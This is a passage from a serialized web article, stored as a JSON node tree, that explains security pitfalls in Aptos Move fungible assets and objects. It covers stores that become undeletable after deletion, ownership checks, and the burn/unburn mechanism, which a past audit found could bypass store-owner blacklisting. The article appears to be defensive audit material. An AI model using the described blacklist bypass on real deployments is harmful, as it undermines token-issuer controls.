add_fungibility",{"type":26,"tag":217,"props":100990,"children":100991},{"style":7048},[100992],{"type":32,"value":10932},{"type":26,"tag":217,"props":100994,"children":100995},{"class":7028,"line":6779},[100996,101000,101004],{"type":26,"tag":217,"props":100997,"children":100998},{"style":7048},[100999],{"type":32,"value":100675},{"type":26,"tag":217,"props":101001,"children":101002},{"style":7149},[101003],{"type":32,"value":13251},{"type":26,"tag":217,"props":101005,"children":101006},{"style":7048},[101007],{"type":32,"value":13256},{"type":26,"tag":217,"props":101009,"children":101010},{"class":7028,"line":7140},[101011,101015,101019,101023,101027,101031],{"type":26,"tag":217,"props":101012,"children":101013},{"style":7048},[101014],{"type":32,"value":1889},{"type":26,"tag":217,"props":101016,"children":101017},{"style":7149},[101018],{"type":32,"value":1473},{"type":26,"tag":217,"props":101020,"children":101021},{"style":7119},[101022],{"type":32,"value":99514},{"type":26,"tag":217,"props":101024,"children":101025},{"style":7048},[101026],{"type":32,"value":7289},{"type":26,"tag":217,"props":101028,"children":101029},{"style":7119},[101030],{"type":32,"value":99523},{"type":26,"tag":217,"props":101032,"children":101033},{"style":7048},[101034],{"type":32,"value":77772},{"type":26,"tag":217,"props":101036,"children":101037},{"class":7028,"line":7165},[101038,101042,101046],{"type":26,"tag":217,"props":101039,"children":101040},{"style":7048},[101041],{"type":32,"value":100675},{"type":26,"tag":217,"props":101043,"children":101044},{"style":7149},[101045],{"type":32,"value":13251},{"type":26,"tag":217,"props":101047,"children":101048},{"style":7048},[101049],{"type":32,"value":13256},{"type":26,"tag":217,"props":101051,"children":101052},{"class":7028,"line":7178},[101053,101058,101062,101067],{"type":26,"tag":217,"props":101054,"children":101055},{"style":7064},[101056],{"type":32,"value":101057},"    move_to",{"type":26,"tag":217,"props":101059,"children":101060},{"style":7048},[101061],{"type":32,"value":1851},{"type":26,"tag":217,"props":101063,"children":101064},{"style":7054},[101065],{"type":32,"value":101066},"metadata_object_signer",{"type":26,"tag":217,"props":101068,"children":101069},{"style":7048},[101070],{"type":32,"value":10953},{"type":26,"tag":217,"props":101072,"children":101073},{"class":7028,"line":7389},[101074,101079],{"type":26,"tag":217,"props":101075,"children":101076},{"style":7119},[101077],{"type":32,"value":101078},"        Metadata",{"type":26,"tag":217,"props":101080,"children":101081},{"style":7048},[101082],{"type":32,"value":8064},{"type":26,"tag":217,"props":101084,"children":101085},{"class":7028,"line":7406},[101086,101091],{"type":26,"tag":217,"props":101087,"children":101088},{"style":7054},[101089],{"type":32,"value":101090},"            name",{"type":26,"tag":217,"props":101092,"children":101093},{"style":7048},[101094],{"type":32,"value":10953},{"type":26,"tag":217,"props":101096,"children":101097},{"class":7028,"line":7439},[101098,101103],{"type":26,"tag":217,"props":101099,"children":101100},{"style":7054},[101101],{"type":32,"value":101102},"            symbol",{"type":26,"tag":217,"props":101104,"children":101105},{"style":7048},[101106],{"type":32,"value":10953},{"type":26,"tag":217,"props":101108,"children":101109},{"class":7028,"line":7487},[101110,101115],{"type":26,"tag":217,"props":101111,"children":101112},{"style":7054},[101113],{"type":32,"value":101114},"            decimals",{"type":26,"tag":217,"props":101116,"children":101117},{"style":7048},[101118],{"type":32,"value":10953},{"type":26,"tag":217,"props":101120,"children":101121},{"class":7028,"line":7524},[101122,101127],{"type":26,"tag":217,"props":101123,"children":101124},{"style":7054},[101125],{"type":32,"value":101126},"            icon_uri",{"type":26,"tag":217,"props":101128,"children":101129},{"style":7048},[101130],{"type":32,"value":10953},{"type":26,"tag":217,"props":101132,"children":101133},{"class":7028,"line":7553},[101134,101139],{"type":26,"tag":217,"props":101135,"children":101136},{"style":7054},[101137],{"type":32,"value":101138},"            project_uri",{"type":26,"tag":217,"props":101140,"children":101141},{"style":7048},[101142],{"type":32,"value":10953},{"type":26,"tag":217,"props":101144,"children":101145},{"class":7028,"line":7570},[101146],{"type":26,"tag":217,"props":101147,"children":101148},{"style":7048},[101149],{"type":32,"value":8722},{"type":26,"tag":217,"props":101151,"children":101152},{"class":7028,"line":7621},[101153],{"type":26,"tag":217,"props":101154,"children":101155},{"style":7048},[101156],{"type":32,"value":12988},{"type":26,"tag":217,"props":101158,"children":101159},{"class":7028,"line":7672},[101160,101164,101168],{"type":26,"tag":217,"props":101161,"children":101162},{"style":7048},[101163],{"type":32,"value":7127},{"type":26,"tag":217,"props":101165,"children":101166},{"style":7149},[101167],{"type":32,"value":13251},{"type":26,"tag":217,"props":101169,"children":101170},{"style":7048},[101171],{"type":32,"value":13256},{"type":26,"tag":217,"props":101173,"children":101174},{"class":7028,"line":7681},[101175],{"type":26,"tag":217,"props":101176,"children":101177},{"style":7048},[101178],{"type":32,"value":7184},{"type":26,"tag":11933,"props":101180,"children":101181},{},[],{"type":26,"tag":39,"props":101183,"children":101184},{},[101185,101187,101192,101194,101199],{"type":32,"value":101186},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":26,"tag":83,"props":101188,"children":101190},{"className":101189},[],[101191],{"type":32,"value":100028},{"type":32,"value":101193}," is also an object, and a \"secondary\" ",{"type":26,"tag":83,"props":101195,"children":101197},{"className":101196},[],[101198],{"type":32,"value":100028},{"type":32,"value":101200}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":26,"tag":207,"props":101202,"children":101204},{"className":56140,"code":101203,"language":56139,"meta":8,"style":8},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[101205],{"type":26,"tag":83,"props":101206,"children":101207},{"__ignoreMap":8},[101208,101216,101258,101265,101273],{"type":26,"tag":217,"props":101209,"children":101210},{"class":7028,"line":7029},[101211],{"type":26,"tag":217,"props":101212,"children":101213},{"style":7033},[101214],{"type":32,"value":101215},"//Fungible asset\n",{"type":26,"tag":217,"props":101217,"children":101218},{"class":7028,"line":6770},[101219,101223,101227,101232,101236,101241,101245,101249,101254],{"type":26,"tag":217,"props":101220,"children":101221},{"style":7054},[101222],{"type":32,"value":52893},{"type":26,"tag":217,"props":101224,"children":101225},{"style":7054},[101226],{"type":32,"value":64784},{"type":26,"tag":217,"props":101228,"children":101229},{"style":7064},[101230],{"type":32,"value":101231}," remove_store",{"type":26,"tag":217,"props":101233,"children":101234},{"style":7048},[101235],{"type":32,"value":1851},{"type":26,"tag":217,"props":101237,"children":101238},{"style":7054},[101239],{"type":32,"value":101240},"delete_ref",{"type":26,"tag":217,"props":101242,"children":101243},{"style":7149},[101244],{"type":32,"value":1473},{"type":26,"tag":217,"props":101246,"children":101247},{"style":7149},[101248],{"type":32,"value":10222},{"type":26,"tag":217,"props":101250,"children":101251},{"style":7119},[101252],{"type":32,"value":101253},"DeleteRef",{"type":26,"tag":217,"props":101255,"children":101256},{"style":7048},[101257],{"type":32,"value":10025},{"type":26,"tag":217,"props":101259,"children":101260},{"class":7028,"line":6779},[101261],{"type":26,"tag":217,"props":101262,"children":101263},{"emptyLinePlaceholder":17},[101264],{"type":32,"value":7817},{"type":26,"tag":217,"props":101266,"children":101267},{"class":7028,"line":7140},[101268],{"type":26,"tag":217,"props":101269,"children":101270},{"style":7033},[101271],{"type":32,"value":101272},"//Object\n",{"type":26,"tag":217,"props":101274,"children":101275},{"class":7028,"line":7165},[101276,101280,101284,101289,101293,101298,101302,101307],{"type":26,"tag":217,"props":101277,"children":101278},{"style":7054},[101279],{"type":32,"value":52893},{"type":26,"tag":217,"props":101281,"children":101282},{"style":7054},[101283],{"type":32,"value":64784},{"type":26,"tag":217,"props":101285,"children":101286},{"style":7064},[101287],{"type":32,"value":101288}," delete",{"type":26,"tag":217,"props":101290,"children":101291},{"style":7048},[101292],{"type":32,"value":1851},{"type":26,"tag":217,"props":101294,"children":101295},{"style":7154},[101296],{"type":32,"value":101297},"ref",{"type":26,"tag":217,"props":101299,"children":101300},{"style":7149},[101301],{"type":32,"value":1473},{"type":26,"tag":217,"props":101303,"children":101304},{"style":7119},[101305],{"type":32,"value":101306}," DeleteRef",{"type":26,"tag":217,"props":101308,"children":101309},{"style":7048},[101310],{"type":32,"value":10025},{"type":26,"tag":39,"props":101312,"children":101313},{},[101314,101315,101321,101323,101328,101330,101335,101337,101342,101344,101350,101352,101358,101360,101365],{"type":32,"value":64138},{"type":26,"tag":83,"props":101316,"children":101318},{"className":101317},[],[101319],{"type":32,"value":101320},"object::delete",{"type":32,"value":101322}," removes the ",{"type":26,"tag":83,"props":101324,"children":101326},{"className":101325},[],[101327],{"type":32,"value":33511},{"type":32,"value":101329}," from a ",{"type":26,"tag":83,"props":101331,"children":101333},{"className":101332},[],[101334],{"type":32,"value":100028},{"type":32,"value":101336}," object, the ",{"type":26,"tag":83,"props":101338,"children":101340},{"className":101339},[],[101341],{"type":32,"value":100028},{"type":32,"value":101343}," resource becomes permanently undeletable. This is because ",{"type":26,"tag":83,"props":101345,"children":101347},{"className":101346},[],[101348],{"type":32,"value":101349},"remove_store",{"type":32,"value":101351}," can't create an ",{"type":26,"tag":83,"props":101353,"children":101355},{"className":101354},[],[101356],{"type":32,"value":101357},"Object\u003CFungibleStore>",{"type":32,"value":101359}," without an ",{"type":26,"tag":83,"props":101361,"children":101363},{"className":101362},[],[101364],{"type":32,"value":33511},{"type":32,"value":101366}," underneath, causing the operation to fail.",{"type":26,"tag":207,"props":101368,"children":101370},{"className":56140,"code":101369,"language":56139,"meta":8,"style":8},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[101371],{"type":26,"tag":83,"props":101372,"children":101373},{"__ignoreMap":8},[101374,101429,101481,101496],{"type":26,"tag":217,"props":101375,"children":101376},{"class":7028,"line":7029},[101377,101381,101385,101389,101393,101397,101401,101405,101409,101413,101417,101421,101425],{"type":26,"tag":217,"props":101378,"children":101379},{"style":7054},[101380],{"type":32,"value":52893},{"type":26,"tag":217,"props":101382,"children":101383},{"style":7054},[101384],{"type":32,"value":64784},{"type":26,"tag":217,"props":101386,"children":101387},{"style":7064},[101388],{"type":32,"value":101231},{"type":26,"tag":217,"props":101390,"children":101391},{"style":7048},[101392],{"type":32,"value":1851},{"type":26,"tag":217,"props":101394,"children":101395},{"style":7054},[101396],{"type":32,"value":101240},{"type":26,"tag":217,"props":101398,"children":101399},{"style":7149},[101400],{"type":32,"value":1473},{"type":26,"tag":217,"props":101402,"children":101403},{"style":7149},[101404],{"type":32,"value":10222},{"type":26,"tag":217,"props":101406,"children":101407},{"style":7119},[101408],{"type":32,"value":101253},{"type":26,"tag":217,"props":101410,"children":101411},{"style":7048},[101412],{"type":32,"value":8380},{"type":26,"tag":217,"props":101414,"children":101415},{"style":7054},[101416],{"type":32,"value":99705},{"type":26,"tag":217,"props":101418,"children":101419},{"style":7048},[101420],{"type":32,"value":95870},{"type":26,"tag":217,"props":101422,"children":101423},{"style":7149},[101424],{"type":32,"value":13251},{"type":26,"tag":217,"props":101426,"children":101427},{"style":7048},[101428],{"type":32,"value":99718},{"type":26,"tag":217,"props":101430,"children":101431},{"class":7028,"line":6770},[101432,101436,101440,101444,101448,101452,101456,101461,101465,101469,101473,101477],{"type":26,"tag":217,"props":101433,"children":101434},{"style":7154},[101435],{"type":32,"value":77780},{"type":26,"tag":217,"props":101437,"children":101438},{"style":7054},[101439],{"type":32,"value":79027},{"type":26,"tag":217,"props":101441,"children":101442},{"style":7149},[101443],{"type":32,"value":8993},{"type":26,"tag":217,"props":101445,"children":101446},{"style":7149},[101447],{"type":32,"value":10222},{"type":26,"tag":217,"props":101449,"children":101450},{"style":7048},[101451],{"type":32,"value":100870},{"type":26,"tag":217,"props":101453,"children":101454},{"style":7149},[101455],{"type":32,"value":56166},{"type":26,"tag":217,"props":101457,"children":101458},{"style":7054},[101459],{"type":32,"value":101460},"object_from_delete_ref",{"type":26,"tag":217,"props":101462,"children":101463},{"style":7048},[101464],{"type":32,"value":7289},{"type":26,"tag":217,"props":101466,"children":101467},{"style":7119},[101468],{"type":32,"value":100028},{"type":26,"tag":217,"props":101470,"children":101471},{"style":7048},[101472],{"type":32,"value":100384},{"type":26,"tag":217,"props":101474,"children":101475},{"style":7054},[101476],{"type":32,"value":101240},{"type":26,"tag":217,"props":101478,"children":101479},{"style":7048},[101480],{"type":32,"value":7669},{"type":26,"tag":217,"props":101482,"children":101483},{"class":7028,"line":6779},[101484,101488,101492],{"type":26,"tag":217,"props":101485,"children":101486},{"style":7048},[101487],{"type":32,"value":100675},{"type":26,"tag":217,"props":101489,"children":101490},{"style":7149},[101491],{"type":32,"value":13251},{"type":26,"tag":217,"props":101493,"children":101494},{"style":7048},[101495],{"type":32,"value":13256},{"type":26,"tag":217,"props":101497,"children":101498},{"class":7028,"line":7140},[101499],{"type":26,"tag":217,"props":101500,"children":101501},{"style":7048},[101502],{"type":32,"value":7184},{"type":26,"tag":39,"props":101504,"children":101505},{},[101506,101508,101513,101515,101521,101523,101528],{"type":32,"value":101507},"In addition, such \"deleted\" ",{"type":26,"tag":83,"props":101509,"children":101511},{"className":101510},[],[101512],{"type":32,"value":100028},{"type":32,"value":101514}," objects remain at least partially operable. For instance, ",{"type":26,"tag":83,"props":101516,"children":101518},{"className":101517},[],[101519],{"type":32,"value":101520},"fungible_asset::deposit",{"type":32,"value":101522}," does not check the ",{"type":26,"tag":83,"props":101524,"children":101526},{"className":101525},[],[101527],{"type":32,"value":33511},{"type":32,"value":101529}," existence.",{"type":26,"tag":607,"props":101531,"children":101533},{"id":101532},"ownership",[101534],{"type":32,"value":101535},"Ownership",{"type":26,"tag":39,"props":101537,"children":101538},{},[101539,101541,101546,101548,101554,101556,101561],{"type":32,"value":101540},"Each object has an owner. Fungible assets rely on the ",{"type":26,"tag":83,"props":101542,"children":101544},{"className":101543},[],[101545],{"type":32,"value":33511},{"type":32,"value":101547}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":26,"tag":83,"props":101549,"children":101551},{"className":101550},[],[101552],{"type":32,"value":101553},"object::owns",{"type":32,"value":101555}," to confirm ownership of the ",{"type":26,"tag":83,"props":101557,"children":101559},{"className":101558},[],[101560],{"type":32,"value":100028},{"type":32,"value":101562}," object.",{"type":26,"tag":207,"props":101564,"children":101566},{"className":56140,"code":101565,"language":56139,"meta":8,"style":8},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[101567],{"type":26,"tag":83,"props":101568,"children":101569},{"__ignoreMap":8},[101570,101620,101644,101672,101692,101720,101790,101805],{"type":26,"tag":217,"props":101571,"children":101572},{"class":7028,"line":7029},[101573,101577,101581,101586,101590,101595,101600,101604,101608,101612,101616],{"type":26,"tag":217,"props":101574,"children":101575},{"style":7064},[101576],{"type":32,"value":52893},{"type":26,"tag":217,"props":101578,"children":101579},{"style":7048},[101580],{"type":32,"value":1851},{"type":26,"tag":217,"props":101582,"children":101583},{"style":7054},[101584],{"type":32,"value":101585},"friend",{"type":26,"tag":217,"props":101587,"children":101588},{"style":7048},[101589],{"type":32,"value":8380},{"type":26,"tag":217,"props":101591,"children":101592},{"style":7054},[101593],{"type":32,"value":101594},"fun",{"type":26,"tag":217,"props":101596,"children":101597},{"style":7054},[101598],{"type":32,"value":101599}," withdraw_sanity_check",{"type":26,"tag":217,"props":101601,"children":101602},{"style":7048},[101603],{"type":32,"value":7289},{"type":26,"tag":217,"props":101605,"children":101606},{"style":7119},[101607],{"type":32,"value":178},{"type":26,"tag":217,"props":101609,"children":101610},{"style":7149},[101611],{"type":32,"value":1473},{"type":26,"tag":217,"props":101613,"children":101614},{"style":7054},[101615],{"type":32,"value":78245},{"type":26,"tag":217,"props":101617,"children":101618},{"style":7048},[101619],{"type":32,"value":56861},{"type":26,"tag":217,"props":101621,"children":101622},{"class":7028,"line":6770},[101623,101628,101632,101636,101640],{"type":26,"tag":217,"props":101624,"children":101625},{"style":7054},[101626],{"type":32,"value":101627},"    owner",{"type":26,"tag":217,"props":101629,"children":101630},{"style":7149},[101631],{"type":32,"value":1473},{"type":26,"tag":217,"props":101633,"children":101634},{"style":7149},[101635],{"type":32,"value":10222},{"type":26,"tag":217,"props":101637,"children":101638},{"style":7054},[101639],{"type":32,"value":79834},{"type":26,"tag":217,"props":101641,"children":101642},{"style":7048},[101643],{"type":32,"value":10953},{"type":26,"tag":217,"props":101645,"children":101646},{"class":7028,"line":6779},[101647,101652,101656,101660,101664,101668],{"type":26,"tag":217,"props":101648,"children":101649},{"style":7054},[101650],{"type":32,"value":101651},"    store",{"type":26,"tag":217,"props":101653,"children":101654},{"style":7149},[101655],{"type":32,"value":1473},{"type":26,"tag":217,"props":101657,"children":101658},{"style":7119},[101659],{"type":32,"value":99514},{"type":26,"tag":217,"props":101661,"children":101662},{"style":7048},[101663],{"type":32,"value":7289},{"type":26,"tag":217,"props":101665,"children":101666},{"style":7119},[101667],{"type":32,"value":178},{"type":26,"tag":217,"props":101669,"children":101670},{"style":7048},[101671],{"type":32,"value":77713},{"type":26,"tag":217,"props":101673,"children":101674},{"class":7028,"line":7140},[101675,101680,101684,101688],{"type":26,"tag":217,"props":101676,"children":101677},{"style":7054},[101678],{"type":32,"value":101679},"    abort_on_dispatch",{"type":26,"tag":217,"props":101681,"children":101682},{"style":7149},[101683],{"type":32,"value":1473},{"type":26,"tag":217,"props":101685,"children":101686},{"style":7119},[101687],{"type":32,"value":79568},{"type":26,"tag":217,"props":101689,"children":101690},{"style":7048},[101691],{"type":32,"value":10953},{"type":26,"tag":217,"props":101693,"children":101694},{"class":7028,"line":7165},[101695,101699,101703,101707,101711,101716],{"type":26,"tag":217,"props":101696,"children":101697},{"style":7048},[101698],{"type":32,"value":8380},{"type":26,"tag":217,"props":101700,"children":101701},{"style":7054},[101702],{"type":32,"value":99705},{"type":26,"tag":217,"props":101704,"children":101705},{"style":7119},[101706],{"type":32,"value":100048},{"type":26,"tag":217,"props":101708,"children":101709},{"style":7048},[101710],{"type":32,"value":7599},{"type":26,"tag":217,"props":101712,"children":101713},{"style":7119},[101714],{"type":32,"value":101715},"DispatchFunctionStore",{"type":26,"tag":217,"props":101717,"children":101718},{"style":7048},[101719],{"type":32,"value":8064},{"type":26,"tag":217,"props":101721,"children":101722},{"class":7028,"line":7178},[101723,101727,101732,101736,101741,101745,101749,101754,101758,101762,101766,101771,101776,101780,101785],{"type":26,"tag":217,"props":101724,"children":101725},{"style":7064},[101726],{"type":32,"value":100298},{"type":26,"tag":217,"props":101728,"children":101729},{"style":7048},[101730],{"type":32,"value":101731},"(object",{"type":26,"tag":217,"props":101733,"children":101734},{"style":7149},[101735],{"type":32,"value":56166},{"type":26,"tag":217,"props":101737,"children":101738},{"style":7064},[101739],{"type":32,"value":101740},"owns",{"type":26,"tag":217,"props":101742,"children":101743},{"style":7048},[101744],{"type":32,"value":1851},{"type":26,"tag":217,"props":101746,"children":101747},{"style":7054},[101748],{"type":32,"value":78989},{"type":26,"tag":217,"props":101750,"children":101751},{"style":7048},[101752],{"type":32,"value":101753},", signer",{"type":26,"tag":217,"props":101755,"children":101756},{"style":7149},[101757],{"type":32,"value":56166},{"type":26,"tag":217,"props":101759,"children":101760},{"style":7064},[101761],{"type":32,"value":100718},{"type":26,"tag":217,"props":101763,"children":101764},{"style":7048},[101765],{"type":32,"value":1851},{"type":26,"tag":217,"props":101767,"children":101768},{"style":7054},[101769],{"type":32,"value":101770},"owner",{"type":26,"tag":217,"props":101772,"children":101773},{"style":7048},[101774],{"type":32,"value":101775},")), error",{"type":26,"tag":217,"props":101777,"children":101778},{"style":7149},[101779],{"type":32,"value":56166},{"type":26,"tag":217,"props":101781,"children":101782},{"style":7064},[101783],{"type":32,"value":101784},"permission_denied",{"type":26,"tag":217,"props":101786,"children":101787},{"style":7048},[101788],{"type":32,"value":101789},"(ENOT_STORE_OWNER));\n",{"type":26,"tag":217,"props":101791,"children":101792},{"class":7028,"line":7389},[101793,101797,101801],{"type":26,"tag":217,"props":101794,"children":101795},{"style":7048},[101796],{"type":32,"value":100675},{"type":26,"tag":217,"props":101798,"children":101799},{"style":7149},[101800],{"type":32,"value":13251},{"type":26,"tag":217,"props":101802,"children":101803},{"style":7048},[101804],{"type":32,"value":13256},{"type":26,"tag":217,"props":101806,"children":101807},{"class":7028,"line":7406},[101808],{"type":26,"tag":217,"props":101809,"children":101810},{"style":7048},[101811],{"type":32,"value":7184},{"type":26,"tag":39,"props":101813,"children":101814},{},[101815,101817,101822,101824,101830,101832,101838],{"type":32,"value":101816},"The thing to note is that defining ownership with ",{"type":26,"tag":83,"props":101818,"children":101820},{"className":101819},[],[101821],{"type":32,"value":101553},{"type":32,"value":101823}," can be tricky. The ",{"type":26,"tag":83,"props":101825,"children":101827},{"className":101826},[],[101828],{"type":32,"value":101829},"burn",{"type":32,"value":101831}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":26,"tag":83,"props":101833,"children":101835},{"className":101834},[],[101836],{"type":32,"value":101837},"BURN_ADDRESS",{"type":32,"value":101839}," while bypassing transfer restrictions:",{"type":26,"tag":207,"props":101841,"children":101843},{"className":56140,"code":101842,"language":56139,"meta":8,"style":8},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[101844],{"type":26,"tag":83,"props":101845,"children":101846},{"__ignoreMap":8},[101847,101944,101985,102035,102064,102114,102135],{"type":26,"tag":217,"props":101848,"children":101849},{"class":7028,"line":7029},[101850,101854,101858,101862,101867,101871,101875,101879,101883,101887,101891,101895,101899,101903,101907,101911,101915,101919,101923,101927,101931,101935,101940],{"type":26,"tag":217,"props":101851,"children":101852},{"style":7054},[101853],{"type":32,"value":52893},{"type":26,"tag":217,"props":101855,"children":101856},{"style":7054},[101857],{"type":32,"value":89881},{"type":26,"tag":217,"props":101859,"children":101860},{"style":7054},[101861],{"type":32,"value":64784},{"type":26,"tag":217,"props":101863,"children":101864},{"style":7054},[101865],{"type":32,"value":101866}," burn",{"type":26,"tag":217,"props":101868,"children":101869},{"style":7048},[101870],{"type":32,"value":7289},{"type":26,"tag":217,"props":101872,"children":101873},{"style":7119},[101874],{"type":32,"value":178},{"type":26,"tag":217,"props":101876,"children":101877},{"style":7149},[101878],{"type":32,"value":1473},{"type":26,"tag":217,"props":101880,"children":101881},{"style":7054},[101882],{"type":32,"value":78245},{"type":26,"tag":217,"props":101884,"children":101885},{"style":7048},[101886],{"type":32,"value":100384},{"type":26,"tag":217,"props":101888,"children":101889},{"style":7054},[101890],{"type":32,"value":101770},{"type":26,"tag":217,"props":101892,"children":101893},{"style":7149},[101894],{"type":32,"value":1473},{"type":26,"tag":217,"props":101896,"children":101897},{"style":7149},[101898],{"type":32,"value":10222},{"type":26,"tag":217,"props":101900,"children":101901},{"style":7054},[101902],{"type":32,"value":79834},{"type":26,"tag":217,"props":101904,"children":101905},{"style":7048},[101906],{"type":32,"value":7599},{"type":26,"tag":217,"props":101908,"children":101909},{"style":7054},[101910],{"type":32,"value":100870},{"type":26,"tag":217,"props":101912,"children":101913},{"style":7149},[101914],{"type":32,"value":1473},{"type":26,"tag":217,"props":101916,"children":101917},{"style":7119},[101918],{"type":32,"value":99514},{"type":26,"tag":217,"props":101920,"children":101921},{"style":7048},[101922],{"type":32,"value":7289},{"type":26,"tag":217,"props":101924,"children":101925},{"style":7119},[101926],{"type":32,"value":178},{"type":26,"tag":217,"props":101928,"children":101929},{"style":7048},[101930],{"type":32,"value":93975},{"type":26,"tag":217,"props":101932,"children":101933},{"style":7054},[101934],{"type":32,"value":99705},{"type":26,"tag":217,"props":101936,"children":101937},{"style":7119},[101938],{"type":32,"value":101939}," ObjectCore",{"type":26,"tag":217,"props":101941,"children":101942},{"style":7048},[101943],{"type":32,"value":8064},{"type":26,"tag":217,"props":101945,"children":101946},{"class":7028,"line":6770},[101947,101951,101956,101960,101965,101969,101973,101977,101981],{"type":26,"tag":217,"props":101948,"children":101949},{"style":7154},[101950],{"type":32,"value":77780},{"type":26,"tag":217,"props":101952,"children":101953},{"style":7054},[101954],{"type":32,"value":101955}," original_owner",{"type":26,"tag":217,"props":101957,"children":101958},{"style":7149},[101959],{"type":32,"value":8993},{"type":26,"tag":217,"props":101961,"children":101962},{"style":7048},[101963],{"type":32,"value":101964}," signer",{"type":26,"tag":217,"props":101966,"children":101967},{"style":7149},[101968],{"type":32,"value":56166},{"type":26,"tag":217,"props":101970,"children":101971},{"style":7064},[101972],{"type":32,"value":100718},{"type":26,"tag":217,"props":101974,"children":101975},{"style":7048},[101976],{"type":32,"value":1851},{"type":26,"tag":217,"props":101978,"children":101979},{"style":7054},[101980],{"type":32,"value":101770},{"type":26,"tag":217,"props":101982,"children":101983},{"style":7048},[101984],{"type":32,"value":7669},{"type":26,"tag":217,"props":101986,"children":101987},{"class":7028,"line":6779},[101988,101992,101996,102001,102005,102009,102013,102018,102022,102026,102030],{"type":26,"tag":217,"props":101989,"children":101990},{"style":7064},[101991],{"type":32,"value":100298},{"type":26,"tag":217,"props":101993,"children":101994},{"style":7048},[101995],{"type":32,"value":1851},{"type":26,"tag":217,"props":101997,"children":101998},{"style":7064},[101999],{"type":32,"value":102000},"is_owner",{"type":26,"tag":217,"props":102002,"children":102003},{"style":7048},[102004],{"type":32,"value":1851},{"type":26,"tag":217,"props":102006,"children":102007},{"style":7054},[102008],{"type":32,"value":100870},{"type":26,"tag":217,"props":102010,"children":102011},{"style":7048},[102012],{"type":32,"value":7599},{"type":26,"tag":217,"props":102014,"children":102015},{"style":7054},[102016],{"type":32,"value":102017},"original_owner",{"type":26,"tag":217,"props":102019,"children":102020},{"style":7048},[102021],{"type":32,"value":100893},{"type":26,"tag":217,"props":102023,"children":102024},{"style":7149},[102025],{"type":32,"value":56166},{"type":26,"tag":217,"props":102027,"children":102028},{"style":7064},[102029],{"type":32,"value":101784},{"type":26,"tag":217,"props":102031,"children":102032},{"style":7048},[102033],{"type":32,"value":102034},"(ENOT_OBJECT_OWNER));\n",{"type":26,"tag":217,"props":102036,"children":102037},{"class":7028,"line":7140},[102038,102042,102047,102051,102055,102059],{"type":26,"tag":217,"props":102039,"children":102040},{"style":7154},[102041],{"type":32,"value":77780},{"type":26,"tag":217,"props":102043,"children":102044},{"style":7054},[102045],{"type":32,"value":102046}," object_addr",{"type":26,"tag":217,"props":102048,"children":102049},{"style":7149},[102050],{"type":32,"value":8993},{"type":26,"tag":217,"props":102052,"children":102053},{"style":7054},[102054],{"type":32,"value":100450},{"type":26,"tag":217,"props":102056,"children":102057},{"style":7149},[102058],{"type":32,"value":180},{"type":26,"tag":217,"props":102060,"children":102061},{"style":7048},[102062],{"type":32,"value":102063},"inner;\n",{"type":26,"tag":217,"props":102065,"children":102066},{"class":7028,"line":7165},[102067,102071,102075,102079,102084,102088,102093,102097,102102,102106,102110],{"type":26,"tag":217,"props":102068,"children":102069},{"style":7064},[102070],{"type":32,"value":101057},{"type":26,"tag":217,"props":102072,"children":102073},{"style":7048},[102074],{"type":32,"value":1851},{"type":26,"tag":217,"props":102076,"children":102077},{"style":7149},[102078],{"type":32,"value":9804},{"type":26,"tag":217,"props":102080,"children":102081},{"style":7064},[102082],{"type":32,"value":102083},"create_signer",{"type":26,"tag":217,"props":102085,"children":102086},{"style":7048},[102087],{"type":32,"value":1851},{"type":26,"tag":217,"props":102089,"children":102090},{"style":7054},[102091],{"type":32,"value":102092},"object_addr",{"type":26,"tag":217,"props":102094,"children":102095},{"style":7048},[102096],{"type":32,"value":5407},{"type":26,"tag":217,"props":102098,"children":102099},{"style":7119},[102100],{"type":32,"value":102101},"TombStone",{"type":26,"tag":217,"props":102103,"children":102104},{"style":7048},[102105],{"type":32,"value":65337},{"type":26,"tag":217,"props":102107,"children":102108},{"style":7054},[102109],{"type":32,"value":102017},{"type":26,"tag":217,"props":102111,"children":102112},{"style":7048},[102113],{"type":32,"value":7907},{"type":26,"tag":217,"props":102115,"children":102116},{"class":7028,"line":7178},[102117,102122,102126,102130],{"type":26,"tag":217,"props":102118,"children":102119},{"style":7064},[102120],{"type":32,"value":102121},"    transfer_raw_inner",{"type":26,"tag":217,"props":102123,"children":102124},{"style":7048},[102125],{"type":32,"value":1851},{"type":26,"tag":217,"props":102127,"children":102128},{"style":7054},[102129],{"type":32,"value":102092},{"type":26,"tag":217,"props":102131,"children":102132},{"style":7048},[102133],{"type":32,"value":102134},", BURN_ADDRESS);\n",{"type":26,"tag":217,"props":102136,"children":102137},{"class":7028,"line":7389},[102138],{"type":26,"tag":217,"props":102139,"children":102140},{"style":7048},[102141],{"type":32,"value":7184},{"type":26,"tag":39,"props":102143,"children":102144},{},[102145,102151,102153,102158,102159,102166,102168,102173],{"type":26,"tag":83,"props":102146,"children":102148},{"className":102147},[],[102149],{"type":32,"value":102150},"unburn",{"type":32,"value":102152}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":26,"tag":83,"props":102154,"children":102156},{"className":102155},[],[102157],{"type":32,"value":101837},{"type":32,"value":15487},{"type":26,"tag":163,"props":102160,"children":102163},{"href":102161,"rel":102162},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[167],[102164],{"type":32,"value":102165},"AIP-99",{"type":32,"value":102167}," is a proposal to roll back the 